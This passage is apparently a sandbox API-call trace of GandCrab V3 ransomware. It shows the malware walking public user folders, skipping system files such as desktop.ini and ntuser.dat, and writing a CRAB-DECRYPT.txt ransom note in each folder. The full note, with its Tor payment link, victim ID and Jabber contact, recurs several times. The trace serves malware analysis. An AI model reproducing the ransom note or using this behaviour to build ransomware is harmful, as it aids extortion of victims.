	[0136.965] WriteFile (in: hFile=0x3e8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314c9f4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314c9f4*=0xcce, lpOverlapped=0x0) returned 1
	[0136.966] CloseHandle (hObject=0x3e8) returned 1
	[0136.966] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.966] lstrlenW (lpString="C:\\Users\\Public\\Documents\\My Music\\") returned 35
	[0136.966] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Music\\", lpString2="*" | out: lpString1="C:\\Users\\Public\\Documents\\My Music\\*") returned="C:\\Users\\Public\\Documents\\My Music\\*"
	[0136.966] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\*", lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0xffffffff
	[0136.966] FindNextFileW (in: hFindFile=0x3247f70, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.967] lstrcmpW (lpString1="My Pictures", lpString2=".") returned 1
	[0136.967] lstrcmpW (lpString1="My Pictures", lpString2="..") returned 1
	[0136.967] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\", lpString2="My Pictures" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures") returned="C:\\Users\\Public\\Documents\\My Pictures"
	[0136.967] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Pictures", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures\\") returned="C:\\Users\\Public\\Documents\\My Pictures\\"
	[0136.967] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.967] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0136.967] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0136.967] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0136.967] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0136.967] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.967] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ca10, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0136.967] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0136.967] lstrcmpiW (lpString1="C:\\Users\\Public\\Documents\\My Pictures\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0136.967] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314c1f8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0136.967] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0136.968] lstrcmpiW (lpString1="C:\\Users\\Public\\Documents\\My Pictures\\", lpString2="C:\\Users\\Public\\Desktop\\") returned 1
	[0136.968] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.968] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Public\\Documents\\My Pictures\\\\CRAB-DECRYPT.txt") returned 55
	[0136.968] CreateFileW (lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\public\\documents\\my pictures\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0136.968] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0136.969] WriteFile (in: hFile=0x3e8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314c9f4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314c9f4*=0xcce, lpOverlapped=0x0) returned 1
	[0136.969] CloseHandle (hObject=0x3e8) returned 1
	[0136.970] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.970] lstrlenW (lpString="C:\\Users\\Public\\Documents\\My Pictures\\") returned 38
	[0136.970] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Pictures\\", lpString2="*" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures\\*") returned="C:\\Users\\Public\\Documents\\My Pictures\\*"
	[0136.970] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\*", lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0xffffffff
	[0136.970] FindNextFileW (in: hFindFile=0x3247f70, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.970] lstrcmpW (lpString1="My Videos", lpString2=".") returned 1
	[0136.970] lstrcmpW (lpString1="My Videos", lpString2="..") returned 1
	[0136.970] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\", lpString2="My Videos" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos") returned="C:\\Users\\Public\\Documents\\My Videos"
	[0136.970] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Videos", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos\\") returned="C:\\Users\\Public\\Documents\\My Videos\\"
	[0136.970] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.970] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0136.970] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0136.970] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0136.971] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0136.971] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.971] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ca10, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0136.971] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0136.971] lstrcmpiW (lpString1="C:\\Users\\Public\\Documents\\My Videos\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0136.971] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314c1f8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0136.971] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0136.971] lstrcmpiW (lpString1="C:\\Users\\Public\\Documents\\My Videos\\", lpString2="C:\\Users\\Public\\Desktop\\") returned 1
	[0136.971] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.971] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Public\\Documents\\My Videos\\\\CRAB-DECRYPT.txt") returned 53
	[0136.971] CreateFileW (lpFileName="C:\\Users\\Public\\Documents\\My Videos\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\public\\documents\\my videos\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0136.972] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0136.972] WriteFile (in: hFile=0x3e8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314c9f4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314c9f4*=0xcce, lpOverlapped=0x0) returned 1
	[0136.973] CloseHandle (hObject=0x3e8) returned 1
	[0136.973] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.973] lstrlenW (lpString="C:\\Users\\Public\\Documents\\My Videos\\") returned 36
	[0136.973] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Videos\\", lpString2="*" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos\\*") returned="C:\\Users\\Public\\Documents\\My Videos\\*"
	[0136.974] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\*", lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0xffffffff
	[0136.974] FindNextFileW (in: hFindFile=0x3247f70, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0
	[0136.974] FindClose (in: hFindFile=0x3247f70 | out: hFindFile=0x3247f70) returned 1
	[0136.974] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0136.974] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1
	[0136.974] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1
	[0136.974] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Downloads" | out: lpString1="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads"
	[0136.974] lstrcatW (in: lpString1="C:\\Users\\Public\\Downloads", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Downloads\\") returned="C:\\Users\\Public\\Downloads\\"
	[0136.974] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.974] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0136.974] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0136.974] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0136.974] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0136.974] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.975] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0136.975] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0136.975] lstrcmpiW (lpString1="C:\\Users\\Public\\Downloads\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0136.975] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0136.975] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0136.975] lstrcmpiW (lpString1="C:\\Users\\Public\\Downloads\\", lpString2="C:\\Users\\Public\\Desktop\\") returned 1
	[0136.975] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.975] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Public\\Downloads\\\\CRAB-DECRYPT.txt") returned 43
	[0136.975] CreateFileW (lpFileName="C:\\Users\\Public\\Downloads\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\public\\downloads\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0136.976] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0136.976] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0136.976] CloseHandle (hObject=0x3d4) returned 1
	[0136.977] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.977] lstrlenW (lpString="C:\\Users\\Public\\Downloads\\") returned 26
	[0136.977] lstrcatW (in: lpString1="C:\\Users\\Public\\Downloads\\", lpString2="*" | out: lpString1="C:\\Users\\Public\\Downloads\\*") returned="C:\\Users\\Public\\Downloads\\*"
	[0136.977] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0x3248470
	[0136.977] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0136.977] FindNextFileW (in: hFindFile=0x3248470, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.977] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0136.977] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0136.977] FindNextFileW (in: hFindFile=0x3248470, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.977] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0136.977] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0136.977] lstrcatW (in: lpString1="C:\\Users\\Public\\Downloads\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\Public\\Downloads\\CRAB-DECRYPT.txt") returned="C:\\Users\\Public\\Downloads\\CRAB-DECRYPT.txt"
	[0136.977] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.978] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Public\\Downloads\\CRAB-DECRYPT.txt") returned 42
	[0136.978] lstrlenW (lpString="C:\\Users\\Public\\Downloads\\CRAB-DECRYPT.txt") returned 42
	[0136.978] lstrlenW (lpString=".txt") returned 4
	[0136.978] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.978] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0136.978] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.978] lstrlenW (lpString="C:\\Users\\Public\\Downloads\\CRAB-DECRYPT.txt") returned 42
	[0136.978] lstrlenW (lpString="C:\\Users\\Public\\Downloads\\CRAB-DECRYPT.txt") returned 42
	[0136.978] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0136.978] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0136.978] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0136.978] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0136.978] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0136.979] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0136.979] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0136.979] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0136.979] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0136.979] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.979] FindNextFileW (in: hFindFile=0x3248470, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.979] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1
	[0136.979] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1
	[0136.979] lstrcatW (in: lpString1="C:\\Users\\Public\\Downloads\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\Public\\Downloads\\desktop.ini") returned="C:\\Users\\Public\\Downloads\\desktop.ini"
	[0136.979] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.979] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Public\\Downloads\\desktop.ini") returned 37
	[0136.979] lstrlenW (lpString="C:\\Users\\Public\\Downloads\\desktop.ini") returned 37
	[0136.979] lstrlenW (lpString=".ini") returned 4
	[0136.979] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.980] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0136.980] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.980] lstrlenW (lpString="C:\\Users\\Public\\Downloads\\desktop.ini") returned 37
	[0136.980] lstrlenW (lpString="C:\\Users\\Public\\Downloads\\desktop.ini") returned 37
	[0136.980] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0
	[0136.980] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.980] FindNextFileW (in: hFindFile=0x3248470, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0
	[0136.980] FindClose (in: hFindFile=0x3248470 | out: hFindFile=0x3248470) returned 1
	[0136.980] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0136.980] lstrcmpW (lpString1="Libraries", lpString2=".") returned 1
	[0136.981] lstrcmpW (lpString1="Libraries", lpString2="..") returned 1
	[0136.981] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Libraries" | out: lpString1="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries"
	[0136.981] lstrcatW (in: lpString1="C:\\Users\\Public\\Libraries", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Libraries\\") returned="C:\\Users\\Public\\Libraries\\"
	[0136.981] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.981] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0136.981] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0136.981] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0136.981] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0136.981] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.981] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0136.981] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0136.981] lstrcmpiW (lpString1="C:\\Users\\Public\\Libraries\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0136.981] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0136.981] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0136.982] lstrcmpiW (lpString1="C:\\Users\\Public\\Libraries\\", lpString2="C:\\Users\\Public\\Desktop\\") returned 1
	[0136.982] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.982] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Public\\Libraries\\\\CRAB-DECRYPT.txt") returned 43
	[0136.982] CreateFileW (lpFileName="C:\\Users\\Public\\Libraries\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\public\\libraries\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0136.988] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0136.989] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0136.989] CloseHandle (hObject=0x3d4) returned 1
	[0136.989] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.990] lstrlenW (lpString="C:\\Users\\Public\\Libraries\\") returned 26
	[0136.990] lstrcatW (in: lpString1="C:\\Users\\Public\\Libraries\\", lpString2="*" | out: lpString1="C:\\Users\\Public\\Libraries\\*") returned="C:\\Users\\Public\\Libraries\\*"
	[0136.990] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Libraries\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0x3248470
	[0136.990] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0136.990] FindNextFileW (in: hFindFile=0x3248470, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.990] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0136.990] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0136.990] FindNextFileW (in: hFindFile=0x3248470, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
